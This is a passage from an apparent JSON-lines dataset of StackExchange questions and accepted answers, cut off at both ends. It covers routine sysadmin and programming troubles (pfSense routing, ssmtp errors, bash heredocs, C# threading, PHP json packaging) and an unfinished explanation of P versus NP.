requires it, and the age gate may end up in the search engine's index, which may not be what you want."  } 
{  "id": "_webmaster.78406"  , "question": "I have a vps set with an padres and i also have a domain name at a hosting provider. I want to connect the domain name to the padres of the vpsmy hosting provider doesn't give support how to fix that. Can anyone help me? maybe a manualthanks"  , "title": "Configure my vps and domain name"  , "tags": "webserver"  } 
{  "id": "_unix.341300"  , "question": "I have pfSense router with 2 WANs. I noticed, that if one WAN is down, then I can't ping 8.8.8.8 from router. Simultaneously, I am able to ping this address from within LAN, i.e. it can pass through router.How is this possible?I checked pinger (by Web interfcate) and found, that it doesn't use this address to check gateway alive. Previously I was using it but now de-configured.What else can still bind 8.8.8.8 to one of WANs and hot to catch it?UPDATEMy suscpicion is that only one WAN available from the router itsellf, because one of them is marked default. When default WAN is down, then no internet is available for router at all.Simultaneously, they have special multi tier thing to load balance two WANs, which makes that router still serves internet for LAN machines.Is this possible?"  , "title": "Can't ping 8.8.8.8 from router, but can ping it from LAN?"  , "tags": "freebsd;routing;pfsense;nslookup"  } 
{  "id": "_unix.330418"  , "question": "I know that the assignment of disks to  /dev  names can vary at boot, but how the heck can it vary in a session?  I'd swear that happened to me yesterday, /dev/sdb and /dev/sdc changed places, and I think it's happened before tho /dev/sda (which is an IDE drive) never gets involved in that."  , "title": "harddisks change /dev name while running"  , "tags": "filesystems;hard disk;hardware"  , "accepted_answer": "Presuming this is Linux, drive letters should only change if the drives disconnect and reconnect. That happens routinely with external USB, but with internal SATA it generally indicates a problem. Common causes include (at least) a loose or defective cable; power supply issues; drive firmware issues; defective and/or dying hard drive; defective SATA controller. I've see, for example, drives that were on there way out and would sometimes hit some bad sectors, then they'd time out and ignore Linux's SATA resets. So they'd get disconnected. But an hour or two later, they'd finally sort themselves out and re-connect. The solution (of course!) was to replace the failing drives.Any disconnect/reconnect (or other drive problems) should leave kernel messages; check dmesg, /var/log/kern.log, or journalctl -b 0 -k, etc. for disk messages. Also check drive status with smartctl.Finally, at least on Linux with udev, there are stable names in /dev. Look in /dev/disk/by-id/. You can use those names with dd, etc."  } 
{  "id": "_webapps.52634"  , "question": "I have an array of values:   A      B              C1 TypeID MaterialTypeID Quantity2 18     34             2563 18     35             5124 20     34             3865 20     36             773Now I need a formula where I can search for lets say TypeID=20 and MaterialTypeID=34 and the formula gives me the Quantity=386. "  , "title": "VLOOKUP or INDEX+MATCH"  , "tags": "google spreadsheets"  , "accepted_answer": "Ok, I found the solution:=INDEX(C:C;MATCH(D6&D7;A:A&B:B;0))where D6 and D7 are my search criteria..."  } 
{  "id": "_codereview.100986"  , "question": "I'm new to Ruby and don't know all the methods, so I was thinking there would probably be and easier way to do something like this. I'd love any input on how to refactor this.   define_singleton_method(:delete) do |id|        revised_words = []        @@words.each do |word|          if word.id() != id            revised_words.push(word)          else            Definition.delete_by_word_id(id)          end        end        @@words = revised_words      end"  , "title": "Custom delete method refactoring"  , "tags": "ruby"  } 
{  "id": "_unix.299400"  , "question": "When I ran device query, I got this error:./deviceQuery Starting... CUDA Device Query (Runtime API) version (CUDART static linking)NVIDIA: no NVIDIA devices foundcudaGetDeviceCount returned 30-> unknown errorResult = FAIHowever, I have already installed the best proprietary driver out there for this graphic card via mhwd (Manjaro hardware detection), so basically I got the bumblebee hybrid card video-hybrid-intel-nvidia-bumblebeeBut despite installing the appropriate driver, the card doesn't get detected. Why?I ran inxi -G which gives:Graphics:  Card-1: Intel 4th Gen Core Processor Integrated Graphics Controller           Card-2: NVIDIA GM107M [GeForce GTX 860M]           Display Server: X.Org 1.17.4 driver: intel Resolution: 1920x1080           GLX Renderer: Mesa DRI Intel Haswell Mobile GLX Version: 3.0 Mesa 12.0.1Thank you so much for your help."  , "title": "Detection of NVIDIA GTX860M graphics card in Manjaro Linux?"  , "tags": "drivers;nvidia;manjaro;proprietary drivers"  } 
{  "id": "_unix.359910"  , "question": "I execute the following code in Bash:bash /dev/fd/10 10<<-'SES'    cat <<EMR >> /etc/apache2/apache2.conf        #        <Directory /var/www/>        Options Indexes FollowSymLinks        AllowOverride All        Require all granted        </Directory>        EMRSESBut the execution breaks and I get:warning: here-document at line 2 delimited by end-of-file (wanted  `EMR')I don't understand what the error means and I already added - between the operator and the name of the containing heredoc to allow tabulations. I made sure there are no spaces after the opener (operator+name) or after the delimiter.Note: If you copy the code above to test it in your computer, you need to change all leading spaces to tabs (tabulations) as StackExchange changed the original tabulations to spaces.Possible causes to rule out:There are several possible causes for this, here are some I've ruled out:1. Problematic hidden characters:I edit the file with Notepad++ and I turned on the Show all symbols mode to make sure all indents are tabulation based (see red arrows) and that all End Of Line chars (EOLs) are LF unix based (there aren't any CR chars):Moreover, the encoding is UTF-8, so it's not an encoding problem.2. Pseudo dash symbol (<<-):It seems as the added hyphen (<<-) doesn't do its job of stripping all leading tabs because when I manually delete all leading tabs whatsoever (or all leading tabs before each delimiter) the heredoc does work as expected. One can suggest that the hyphen isn't really a dash symbol, but why won't it be? I have no way to validate that.3. Bash bug:Other people not-using Windows, and using different Bash-containing Linux distros didn't have this, so this is most likely not a Bash bug. I've also tested this with the Bash development section at GNU.Corrupted pasting of copied data from Notepad++ might be it:If I paste the heredoc from Notepad++ into a nano file, it seems the leading tabs are all in place - they aren't deleted are transformed into spaces in pasting.Moreover, cat script.sh | grep ^  and cat script.sh | grep -x '\\s*EMR' (when done in the files directory), come out empty.Yet, in a later pasting I found another corruption problem that is most likley to cause this (see my answer)."  , "title": "Heredocument error I can't understand (delimited by end of file)"  , "tags": "bash;here document"  , "accepted_answer": "The problem is undoubtedly, 100% Windows related, and deals with the TTY window-size. The narrower the window size is, the more carriage returns created by Windows in pasting.Solution:As suggested to me by Benno Schulenberg of the Nano development team, adding the following code in the end of /etc/nanorc solved this problem:bind ^J enter mainThis will on the other hand disable formation of Trailing whitespaces, but on the other hand, will add Line Feeds (LF chars) to the data copied from Windows, so it won't appear in one long row.Correspondence between me and Benno.I also reported here in length."  } 
{  "id": "_unix.9149"  , "question": "When I need to create a new server I've always chosen Centos mainly for it's compatibility with Red Hat which i consider the standard de-facto for the general purpose linux server.Now the problem is that Red Hat 6 has been out for quite a while and there is no sign of the Centos 6 (event Centos 5.6 iso is still missing).As in the need to create a new server what will you do? Stay whit the old Centos 5.5 or switch to the recently released Scientific Linux 6.0?I looked on SL 6.0 website and they declare great attention to compatibility with RH, I've never tried it by myself so I just wanted someone's real life opinion."  , "title": "Centos or Scientific Linux"  , "tags": "centos;rhel;distribution choice;scientific linux"  } 
{  "id": "_webapps.78520"  , "question": "I have a drop down of 500+ items. How can we mass upload information for a particular dropdown field?"  , "title": "Cognito Forms: Importing a list of 500+ items to populate a drop down"  , "tags": "cognito forms"  } 
{  "id": "_codereview.146504"  , "question": "Is this thread safe?I have a program that executes an SQL command on a number of files (selected by the user).Here is where I create the threads:var allThreads = new List<Task<bool>>();if (fileList != null){    foreach (var file in fileList)    {        var fileName = Path.GetFileName(file);        if (File.Exists(file))        {            Log.AddToLog(Beginning to Process File:  + fileName);            if (!ValidateFile(file))            {                Log.AddToLog(String.Format(Error! {0} is not a valid file for the {1}. Skipping this file., fileName, JsonSettingsList.NameId));                IsErrorsInLog = true;            }            else            {                var fileToProcess = file; //need to make copy for threading loop, otherwise it acts screwy                var newTask = Task.Factory.StartNew<bool>(() => ProcessFile(fileToProcess));                allThreads.Add(newTask);            }        }        else        {            Log.AddToLog(String.Format(CultureInfo.CurrentCulture, File {0} Does not Exist. File not processed., fileName));            IsErrorsInLog = true;        }    }    //check result, if any of them return true, then there are errors in the log, and the user needs to be alerted.    foreach (var task in allThreads)    {        try        {            var didThreadFail = task.Result;            if (!IsErrorsInLog)            {                IsErrorsInLog = didThreadFail;            }        }        catch (AggregateException aggEx)        {            foreach (Exception ex in aggEx.InnerExceptions)            {                Log.AddToLog(string.Format(Caught exception '{0}',                    ex.Message));                IsErrorsInLog = true;            }        }        finally        {            task.Dispose();        }    }}and then here is the code where I am actually accessing the database, inside of the ProcessFile() function://initialize oracle connection oraConnection.Open();using (var command = new OracleCommand(sqlText, oraConnection)){    command.Transaction = command.Connection.BeginTransaction();    foreach (var line in fileByLine.Where((i, index) => index > 0))    {        if (!String.IsNullOrWhiteSpace(line))        {            //add parameters            command.ExecuteNonQuery();        }    }    command.Transaction.Commit();    Log.AddToLog(Successfully Processed  + filePath);}oraConnection.Close();The comments are where I have omitted unnecessary code for the sake of simplicity."  , "title": "Executing an SQL command on a number of files"  , "tags": "c#;thread safety;concurrency"  , "accepted_answer": "if (fileList != null)You can reduce nesting (which is usually a good thing) by turning this into  if (fileList == null) { return; }The same applies toif (File.Exists(file))It's better to haveif (!File.Exists(file)) { continue; }But even better then this would be to filter the list before you start processing it:fileList.Where(File.Exists)Checking the fileList for null is an indicator that some other part of the code might be implemented in a wrong way_. In C# we prefer to have an empty list rather then a null.Parallel.ForEachHave you already tried the Parallel.ForEach? It would greatly simplify your code:Parallel.ForEach(fileList.Where(File.Exists), fileName => {    // process the file});This method has a lot of overloads so you'll probably find something that suits your needs.With one of them you could for example create a connection for each parallel loop and dispose it at the end of the processing.Here's a bigger example that might work for you. This will use the same connection for several files.try{    var parallelOptions = new ParallelOptions    {#if DEBUG        MaxDegreeOfParallelism = 1#else        MaxDegreeOfParallelism = Environment.ProcessorCount#endif    };    var parallelLoopResult = Parallel.ForEach    (        source: fileList.Where(File.Exists),        parallelOptions: parallelOptions,        localInit: () => new        {            Connection = /* init the oracle connection*/                        },        body: (fileName, loopState, i, local) =>        {            // process the file            // use the local.Connection            return local; // pass the connection to the next loop        },        localFinally: local =>        {            local.Connection.Dispose();                     }    );}catch (AggregateException ex){    // handle exceptions}See this question on SO, it compares your solution with Parallel.ForEach:Parallel.ForEach vs Task.Factory.StartNew"  } 
{  "id": "_unix.157189"  , "question": "I have a Raspberry Pi with Raspian installed on it and I am experiencing troubles sending out emails.I have installed SSMTP and usually inside my scripts I'm sending out emails to notify me when a job is completed:echo $(date) Job completed | mail -s My subject email@example.comEverything was working fine until a couple of months ago, when I stopped receiving emails. I tried to manually launch the script and I receive this error:send-mail: 550 Your authenticating ID must match your sending address.I suspect there's something wrong in my SSMTP configuration, that at the beginning my email provider wasn't checking and now it's not working. Here you can find my ssmtp.conf file:## Config file for sSMTP sendmail## The person who gets all mail for userids < 1000# Make this empty to disable rewriting.root=postmaster# The place where the mail goes. The actual machine name is required no# MX records are consulted. Commonly mailhosts are named mail.domain.commailhub=mail# Where will the mail seem to come from?#rewriteDomain=# The full hostnamehostname=raspberrypi# Are users allowed to set their own From: address?# YES - Allow the user to specify their own From: address# NO - Use the system generated From: addressFromLineOverride=YESAuthUser=myUserAuthPass=myPasswordmailhub=mysite.smtp.com:587UseSTARTTLS=YESI think there's something wrong, but I'm not a sysadmin and I don't have so much experience with mail services, any suggestions?"  , "title": "SSMTP returns error 550"  , "tags": "email;raspbian;ssmtp"  , "accepted_answer": "authenticating ID must match your sending address.The server mysite.smtp.com: (or more specifically, the MTA its running) rejects your mail, because you authenticate as one user (myUser), but send a mail as another user."  } 
{  "id": "_unix.168609"  , "question": "I just bought a new computer and I intalled Debian on it. I am having a hard time with the wifi connection. It seems that Debian can not see the wlan0 network interface.To provide some details, my version of Debian is:Linux 3.2.0-4-amd64 #1 SMP Debian 3.2.63-2+deb7u1 x86 GNU/LinuxUsing lspci --n I found that my wireless controller is the following:02:00.0 Netwrok Controller  [0280]: Intel Corporation Device [8086:08b1] (rev 73)that should correspond to an Intel(r) Wireless-N 7260.At this page (https://packages.debian.org/wheezy-backports/firmware-iwlwifi) I found that I should need the non-free firmware-iwlwifi package from wheezy backports.Hence I modified my sources.list file to accept also non-free packages from wheezy-backports and I installed the above package.Anyway nothing happens and I still don't have a wlano interface. Any idea on how to solve this?"  , "title": "wifi not working on new debian machine"  , "tags": "debian;wifi;backports"  } 
{  "id": "_codereview.107702"  , "question": "This small application is used to approximate conflicts in a schedule. Using a minimal time span of 30 minutes in my example, the application should be able to figure if there's a conflict in +/- 30 minutes range. To compute my approximation, I based my code on this SO's question. The idea is to use bitwise manipulation and, splitting your schedule in parts (30 minutes in my case), attribute one bit to each 30 minutes slot in a day.Example :1:00 to 3:00 (AM) = 001111 The first zeros represent the hour from 0:00 to 1:00, then the four other bits represent from 1:00 to 3:00.1:30 to 4:00 (AM) = 00011111The three first zeros are from 0:00 to 1:30, then the 5 setted bits are for the timespan of 1:30 to 4:00.I'm using a long to keep these values, which means that : \\$24hours/day*60minutes/hours= 1440 minutes/day\\$and : \\$1440minutes/30minutes/bit=48bits\\$The last 16 bits of the long are useless (at least, for the moment).In order to respect my 30 minute TimeSpan, I round my DateTime to respect the said TimeSpan using these methods : public static class DateTimeExtension{    /// <summary>    /// Rounds down a date according to the timespan    /// </summary>    /// <param name=dateTime>DateTime to round</param>    /// <param name=roundValue>Timespan unit used to round</param>    /// <returns>Rounded unit</returns>    /// <example>    /// 2015/01/01 13:15 with TimeSpan.FromMinute(30) will round to 13:00    /// </example>    public static DateTime RoundDown(this DateTime dateTime, TimeSpan roundValue)    {        var delta = dateTime.Ticks % roundValue.Ticks;        return new DateTime(dateTime.Ticks - delta, dateTime.Kind);    }    /// <summary>    /// Rounds up a date according to the timespan    /// </summary>    /// <param name=dateTime>DateTime to round</param>    /// <param name=roundValue>Timespan unit used to round</param>    /// <returns>Rounded unit</returns>    /// <example>    /// 2015/01/01 13:15 with TimeSpan.FromMinute(30) will round to 13:30    /// </example>    public static DateTime RoundUp(this DateTime dateTime, TimeSpan roundValue)    {        var delta = (roundValue.Ticks - (dateTime.Ticks % roundValue.Ticks)) % roundValue.Ticks;        return new DateTime(dateTime.Ticks + delta, dateTime.Kind);    }}I'll explain the flow of the program rapidly : We create a Schedule, add ScheduleUnits in it, the call ComputeApproximatedScheduleConflicts() to get an approximation (+/- 30 minutes) of the conflicts using a & operator, then we create a ScheduleConflit per instance of conflict to print the to the console afterwards.The conflict approximation might need some explaining : Say I have a ScheduleUnit (call it Unit1) from 1:00 to 3:00 (AM) And another Schedule Unit (call it Unit2) from 2:30 to 4:30 (AM)The bit representation of those units are respectively Unit1 : 001111Unit2 : 000001111The bitwise & comparison would result of :001111 & 000001111 = 000001000Meaning we have a conflict between 2:30 and 3:00/// <summary>/// A schedule unit in time, must start and end on the same day/// </summary>public struct ScheduleUnit{    public Guid Id { get; }    public DayOfWeek DayOfWeek { get; }    public DateTime Start { get; }    public DateTime End { get; }    /// <summary>    /// Builds an instance of the ScheduleUnit class    /// </summary>    /// <param name=start>Starting time of the unit</param>    /// <param name=end>Ending time of the unit</param>    /// <remarks>Both start and end mus be on the same day.</remarks>    public ScheduleUnit(DateTime start, DateTime end)    {        if(start.DayOfWeek != end.DayOfWeek)            throw new NotSupportedException(No support for schedule conflict unit on separated days.);        Id = Guid.NewGuid();        Start = start;        End = end;        DayOfWeek = start.DayOfWeek;    }}/// <summary>/// A schedule's conflict/// </summary>public class ScheduleConflict{    public IEnumerable<ScheduleUnit> UnitsInConflict { get; }    /// <summary>    /// Builds an instance of the ScheduleConflict class    /// </summary>    /// <param name=unitsInConflicts>Units in conflict</param>    public ScheduleConflict(params ScheduleUnit[] unitsInConflicts)    {        UnitsInConflict = new List<ScheduleUnit>(unitsInConflicts);    }    public override string ToString()    {        return $Conflict in {String.Join(,,UnitsInConflict.Select(c => c.Id))}{Environment.NewLine}Between { UnitsInConflict.Min(c => c.Start)} and { UnitsInConflict.Min(c => c.End)};    }}/// <summary>/// A time schedule that manages conflicts/// </summary>public class Schedule{    private readonly TimeSpan _minimalUnitTimeSpan;    public ICollection<ScheduleUnit> ScheduleUnits { get; }     /// <summary>    /// Builds an instance of the Schedule class    /// </summary>    /// <param name=minimalUnitTimeSpan>Minimal timespan that an unit can occupy</param>    public Schedule(TimeSpan minimalUnitTimeSpan)    {        _minimalUnitTimeSpan = minimalUnitTimeSpan;        ScheduleUnits = new List<ScheduleUnit>();    }    /// <summary>    /// Computes an approximation of conflicts in the schedule based on the minimal unit's time span    /// </summary>    /// <returns>List of conflicts</returns>    public IEnumerable<ScheduleConflict> ComputeApproximatedScheduleConflicts()    {        List<ScheduleConflict> conflicts = new List<ScheduleConflict>();        foreach (var dayOfWeek in Enum.GetValues(typeof(DayOfWeek)))        {            conflicts.AddRange(ComputeApproximatedScheduleConflictsForADay((DayOfWeek)dayOfWeek));        }        return conflicts;    }    /// <summary>    /// Computes an approximation of conflicts for one day in the schedule based on the minimal unit's time span    /// </summary>    /// <param name=dayOfWeek>Day of the week to compute</param>    /// <returns>List of conflicts</returns>    public IEnumerable<ScheduleConflict> ComputeApproximatedScheduleConflictsForADay(DayOfWeek dayOfWeek)    {        var dailyUnits = (from unit in ScheduleUnits            where unit.DayOfWeek == dayOfWeek            select new            {                ConflictBits = ApproximateConflictBits(unit, _minimalUnitTimeSpan),                Unit = unit            }).ToList();        var copyDailyUnits = dailyUnits.ToList();        foreach (var dailyUnit in dailyUnits)        {            foreach (var dailyUnitCompared in copyDailyUnits)            {                //The AND operator will find conflicting times.                long conflicts = dailyUnit.ConflictBits & dailyUnitCompared.ConflictBits;                if (conflicts == 0 || dailyUnitCompared == dailyUnit) continue;                yield return new ScheduleConflict(dailyUnit.Unit,dailyUnitCompared.Unit);            }            copyDailyUnits.Remove(dailyUnit);        }    }    /// <summary>    /// Computes an approximation of the conflicts in the schedule using bit shifting.    /// </summary>    /// <param name=scheduleUnit>Unit to compute</param>    /// <param name=minimalUnitTimeSpan>Minimal time span a unit can occupy</param>    /// <returns>Int64 where setted bits represent a time slot in conflict according to minimal unit timespan</returns>    /// <example>    /// Where MinimalUnitTimeSpan = 30    /// And unit between 1:00 and 3:00    /// returns : 001111    /// If units between 1:30 and 4:00    /// returns : 00011111    /// </example>    private static long ApproximateConflictBits(ScheduleUnit scheduleUnit, TimeSpan minimalUnitTimeSpan)    {        int startBlocks = (int)(scheduleUnit.Start.TimeOfDay.TotalMinutes) / minimalUnitTimeSpan.Minutes;        int endBlocks = ((int)(scheduleUnit.End.TimeOfDay.TotalMinutes) / minimalUnitTimeSpan.Minutes) - 1;        long timeBits = 1;        for (int i = 0; i < startBlocks; i++)            timeBits <<= 1;        long bitPointer = timeBits;        for (int i = startBlocks; i < endBlocks; i++)            timeBits |= (bitPointer <<= 1);        return timeBits;    }}class TimeConflictsFinder{    static void Main(string[] c)    {        TimeSpan scheduleSpan = TimeSpan.FromMinutes(30);        DateTime dt1 = new DateTime(2015, 01, 01, 1, 0, 0);        DateTime dt2 = new DateTime(2015, 01, 01, 1, 30, 0);        var scheduleUnit1 = new ScheduleUnit(dt1,dt1.AddHours(2));        var scheduleUnit2 = new ScheduleUnit(dt2,dt2.AddHours(2).AddMinutes(30));        Schedule schedule = new Schedule(scheduleSpan);        schedule.ScheduleUnits.Add(scheduleUnit1);        schedule.ScheduleUnits.Add(scheduleUnit2);        var conflicts = schedule.ComputeApproximatedScheduleConflicts();        foreach (var scheduleConflict in conflicts)        {            Console.WriteLine(scheduleConflict);            Console.WriteLine(-------------------------------------------------);        }        Console.ReadKey();    }}"  , "title": "Schedule conflicts approximating program"  , "tags": "c#;datetime"  , "accepted_answer": "Have to run off to a long meeting, but this doesn't look right:/// <summary>/// Builds an instance of the ScheduleUnit class/// </summary>/// <param name=start>Starting time of the unit</param>/// <param name=end>Ending time of the unit</param>/// <remarks>Both start and end mus be on the same day.</remarks>public ScheduleUnit(DateTime start, DateTime end){    if(start.DayOfWeek != end.DayOfWeek)        throw new NotSupportedException(No support for schedule conflict unit on separated days.);    Id = Guid.NewGuid();    Start = start;    End = end;    DayOfWeek = start.DayOfWeek;}The comment clearly says the start and end must be the same day and merely checking DayOfWeek does not help much.  It could be today (Thursday) and Thursday a week ago.  I think you would need to check 2 things:1) start and end have the same .Kind, and2) start and end have the same .Date."  } 
{  "id": "_webapps.30791"  , "question": "I am able to upload an image to a card, but it won't show a thumbnail as the cover image of the card.  The image I uploaded is from my computer, not from Google Drive. We have seen this behavior when uploading from Google Drive, but not from computer.Any ideas?"  , "title": "Trello card covers"  , "tags": "trello"  } 
{  "id": "_unix.87067"  , "question": "BackgroundRecently I upgraded php to version 5.5. Within this upgrade module for json was moved out from php5 package into a new package php5-json. So I installed it.Now the connection with firephp (and firebug).Before sending, firephp::log encodes the variable with json_encode.There might occur an issue with json_encode. The json_encode may fail to encode the input variable. This might happen in a string with unencoded unicode or a string with some ill encoded characters.Behaviour in previous version of phpIn firebug instead of the value with the wrong coding white space appears.After the wrong value firebug continues to display next values which arrived from firephp.Behaviour with separate php5-jsonWhen the ill encoded value arrives to firebug, following error message appears:SyntaxError: JSON.parse: unexpected character     chrome://firephp/content/lib/renderer.js     Line 159    After this listing logs from firephp stops.QuestionI understand that there was an 'unexpected character'. But I'd just like to move on and see the following messages. Not stop on the first unexpected character.What shall I do to solve the issue? Or at least get back to the previous bevior?Software versions:Debian testing jessie    Linux host 3.10-2-amd64 #1 SMP Debian 3.10.5-1 (2013-08-07) x86_64 GNU/Linux    php5 5.5.1+dfsg-2     php5-json 1.3.1+dfsg-1    iceweasel 22.0    FirePHPCore-0.3.2   Firebug 1.11.4   Firephp 0.7.2    Edit:I also can see in Firebug header X-Wf-1-1-1-2:[{Type:LOG,Label:$someVar,File:/home/GIT/www/some/path/someFile.php,Line:156},]Which does miss the value part and thus is not valid JSON, which is why the rendering fails.The header with the correct message, which gets printed:[{Type:LOG,Label:POST data,File:/home/GIT/www/some/path/someFile.php,Line:22},{data:{myarray:[117]},getA:true,getB:true}]Edit2:I submitted this as a bug in Debian 719942. But it doesn't seem that someone is willing to have a look at it :-("  , "title": "Package php5-json breaks firephp"  , "tags": "debian;php;firefox;json"  , "accepted_answer": "Background:There is a licensing conflict with Linux distributions over a clause in Crockford's license which states:The Software shall be used for Good, not Evil.This does not agree with the Free Software Foundations (FSF) freedom 0:The freedom to run the program for any purpose. (source)    The solution to it shall be a newly written library pecl-json-c packaged as php5-json. The newly used json library doesn't seem to be compatible with firephp. But if you will use software for Good, not Evil, you might want to restore the original Crockford's library.Steps to restore the Crockford's library1) Get the original json 1.2.1 library and unzip it.2) Install php5-dev (in Debian sudo apt-get install php5-dev) which comes with phpize tool. (source: How to create PHP extensions).3) As jacekk suggests you need to replace one occurrence of function_entry in json.c with zend_function_entry.4) As Star suggests you need to replace ZVAL_DELREF with Z_DELREF_P in three places in file JSON_parser.c.5) Then you change directory to the json-1.2.1 and run phpize./configuremake6) Unfortunatelly you can't remove the package php5-json, because it will take with it the whole php. Instead you need to locate the library json.so (dpkg -L php5-json | grep json.so will do).7) As the root replace the Remi's json.so with Crockford's json.so you just compiled.    DrawbacksWith the next upgrade of php5-json you'll get back Remi's library.You are now using non-free software.You are messing-up with your system.Some people claim that the Remi's library has more features, which is probably true, because the Crockford's library is from 2005."  } 
{  "id": "_computerscience.3615"  , "question": "I have a base 3D mesh of an object that I want to texturize. I also have a 360 degrees video of the real-world object.What are good ways to use the video to texturize the mesh? Are there existing tools to do that? (paid or free)Edit: I have complete control over the camera and object positions, I can measure the distances and whatever needed. I can also put markers on the object."  , "title": "How to texturize a 3D model from video?"  , "tags": "algorithm;3d;3dtexture"  } 
{  "id": "_webapps.73866"  , "question": "I have created forms in Cognito for several languages and if I have read the location settings help page right the settings only change on the country you register in, not by form.Am I able to change this?"  , "title": "Change location settings across all Cognito Forms"  , "tags": "cognito forms"  } 
{  "id": "_datascience.14203"  , "question": "I am currently working on the data set from this link. But I am unable to read these files from Pandas? Has anyone tried to play with such files?I am trying the following:import pandas as pddf = pd.read_csv(m_4549381c276b46c6.0000)But I get the following errorError tokenizing data. C error: Buffer overflow caught - possible malformed input file."  , "title": "Pandas: how to read certain file type in pandas"  , "tags": "python;pandas"  } 
{  "id": "_scicomp.10452"  , "question": "I have two 50000 x 50000 binary matrices A and B for solving A*x=lambda*B*x eigenvalue problem. These matrices are sparse. I am trying to solve using PETSC and SLEPC. My memory requirement shoots off like more than 200 GB of RAM ! I used mpirun in 16 cores and 96GB RAM with swap of 130GB. Is there a way to solve this problem.? Am I doing something wrong ?Kindly let me know."  , "title": "How to reduce RAM requirement in PETSC and SLEPCreading large binary matrices"  , "tags": "petsc"  } 
{  "id": "_webmaster.52886"  , "question": "I have a website that is not on ASP anymore, it's a Drupal 7 website now.I need to use an .htaccess file to redirect with code 301 all pages with .asp extension to the 404 page or a specific URL.(Background story: Drupal will catch non-existing pages such as domain.com/test and redirect to 404 page. But Drupal will not catch non-existing pages with ASP extension such as domain.com/test.asp and it will instead serve a generic Not Found Apache page.)For example, if someone tries to access domain.com/test.asp, the user should be taken to domain.com/404I have searched and searched but I can't find a solution to this particular problem. How can I code that in an .htaccess file?"  , "title": "301 redirect all pages with a specific extension"  , "tags": "seo;htaccess;apache;301 redirect;drupal"  } 
{  "id": "_cs.9556"  , "question": "I'm in a course about computing and complexity, and am unable to understand what these terms mean. All I know is that NP is a subset of NP-complete, which is a subset of NP-hard, but I have no idea what they actually mean. Wikipedia isn't much help either, as the explanations are still a bit too high level."  , "title": "What is the definition of $P$, $NP$, $NP$-complete and $NP$-hard?"  , "tags": "complexity theory;terminology;complexity classes;p vs np;reference question"  , "accepted_answer": "I think the Wikipedia articles $\\mathsf{P}$, $\\mathsf{NP}$, and $\\mathsf{P}$ vs. $\\mathsf{NP}$ are quite good. Still here is what I would say: Part I, Part II[I will use remarks inside brackets to discuss some technical details whichyou can skip if you want.]Part IDecision ProblemsThere are various kinds of computational problems. However in an introduction to computational complexity theory course it is easier to focus on decision problem, i.e. problems where the answer is either YES or NO. There are other kinds of computational problems but most of the time questions about them can be reduced to similar questions about decision problems. Moreover decision problems are very simple. Therefore in an introduction to computational complexity theory course we focus our attention to the study of decision problems.We can identify a decision problem with the subset of inputs that have answer YES. This simplifies notation and allows us to write $x\\in Q$ in place of $Q(x)=YES$ and $x \\notin Q$ in place of $Q(x)=NO$.Another perspective is that we are talking about membership queries in a set. Here is an example:Decision Problem: Input: A natural number $x$,  Question: Is $x$ an even number?Membership Problem:Input: A natural number $x$,  Question: Is $x$ in $Even = \\{0,2,4,6,\\cdots\\}$?We refer to the YES answer on an input as accepting the input and to the NO answer on an input as rejecting the input.We will look at algorithms for decision problems anddiscuss how efficient those algorithms are in their usage of computable resources.I will rely on your intuition from programming in a language like Cin place of formally defining what we mean by an algorithm and computational resources.[Remarks: 1. If we wanted to do everything formally and precisely we would need to fix a model of computation like the standard Turing machine modelto precisely define what we mean by an algorithm and its usage of computational resources.2. If we want to talk about computation over objects that the model cannot directly handle,we would need to encode them as objects that the machine model can handle,e.g. if we are using Turing machines we need to encode objects like natural numbers and graphs as binary strings.]$\\mathsf{P}$ = Problems with Efficient Algorithms for Finding SolutionsAssume that efficient algorithms means algorithms that use at most polynomial amount of computational resources. The main resource we care about is the worst-case running time of algorithms with respect to the input size,i.e. the number of basic steps an algorithm takes on an input of size $n$. The size of an input $x$ is $n$ if it takes $n$-bits of computer memory to store $x$,in which case we write $|x| = n$.So by efficient algorithms we mean algorithms that have polynomial worst-case running time.The assumption that polynomial-time algorithms capture the intuitive notion of efficient algorithms is known as Cobham's thesis. I will not discuss at this pointwhether $\\mathsf{P}$ is the right model for efficiently solvable problems andwhether $\\mathsf{P}$ does or does not capture what can be computed efficiently in practice and related issues. For now there are good reasons to make this assumption so for our purpose we assume this is the case. If you do not accept Cobham's thesis it does not make what I write below incorrect, the only thing we will lose is the intuition about efficient computation in practice. I think it is a helpful assumption for someone who is starting to learn about complexity theory.$\\mathsf{P}$ is the class of decision problems that can be solved efficiently,  i.e. decision problems which have polynomial-time algorithms.More formally, we say a decision problem $Q$ is in $\\mathsf{P}$ iffthere is an efficient algorithm $A$ such that  for all inputs $x$, if $Q(x)=YES$ then $A(x)=YES$,  if $Q(x)=NO$ then $A(x)=NO$.I can simply write $A(x)=Q(x)$ but I write it this way so we can compare it to the definition of $\\mathsf{NP}$.$\\mathsf{NP}$ = Problems with Efficient Algorithms for Verifying Proofs/Certificates/WitnessesSometimes we do not know any efficient way of finding the answer to a decision problem,however if someone tells us the answer and gives us a proofwe can efficiently verify that the answer is correctby checking the proof to see if it is a valid proof.This is the idea behind the complexity class $\\mathsf{NP}$.If the proof is too long it is not really useful, it can take too long to just read the proof let alone check if it is valid. We want the time required for verification to be reasonable in the size of the original input, not the size of the given proof! This means what we really want is not arbitrary long proofs but short proofs.Note that if the verifier's running time is polynomial in the size of the original input then it can only read a polynomial part of the proof. So by short we mean of polynomial size.Form this point on whenever I use the word proof I mean short proof.Here is an example of a problem which we do not know how to solve efficiently but we can efficiently verify proofs:PartitionInput: a finite set of natural numbers $S$,Question: is it possible to partition $S$ into two sets $A$ and $B$  ($A \\cup B = S$ and $A \\cap B = \\emptyset$)  such that the sum of the numbers in $A$ is equal to the sum of number in $B$ ($\\sum_{x\\in A}x=\\sum_{x\\in B}x$)?If I give you $S$ and ask you if we can partition it into two sets such thattheir sums are equal, you do not know any efficient algorithm to solve it. You will probably try all possible ways of partitioning the numbers into two sets until you find a partition where the sums are equal or until you have tried all possible partitions and none has worked. If any of them worked you would say YES, otherwise you would say NO. But there are exponentially many possible partitions so it will take a lot of time. However if I give you two sets $A$ and $B$, you can easily check if the sums are equal and if $A$ and $B$ is a partition of $S$. Note that we can compute sums efficiently. Here the pair of $A$ and $B$ that I give you is a proof for a YES answer. You can efficiently verify my claim by looking at my proof and checking if it is a valid proof. If the answer is YES then there is a valid proof, and I can give it to you and you can verify it efficiently. If the answer is NO then there is no valid proof. So whatever I give you you can check and see it is not a valid proof.I cannot trick you by an invalid proof that the answer is YES.Recall that if the proof is too big it will take a lot of time to verify it, we do not want this to happen, so we only care about efficient proofs, i.e. proofs which have polynomial size.Sometimes people use certificate or witness in place of proof. Note I am giving you enough information about the answer for a given input $x$ so that you can find and verify the 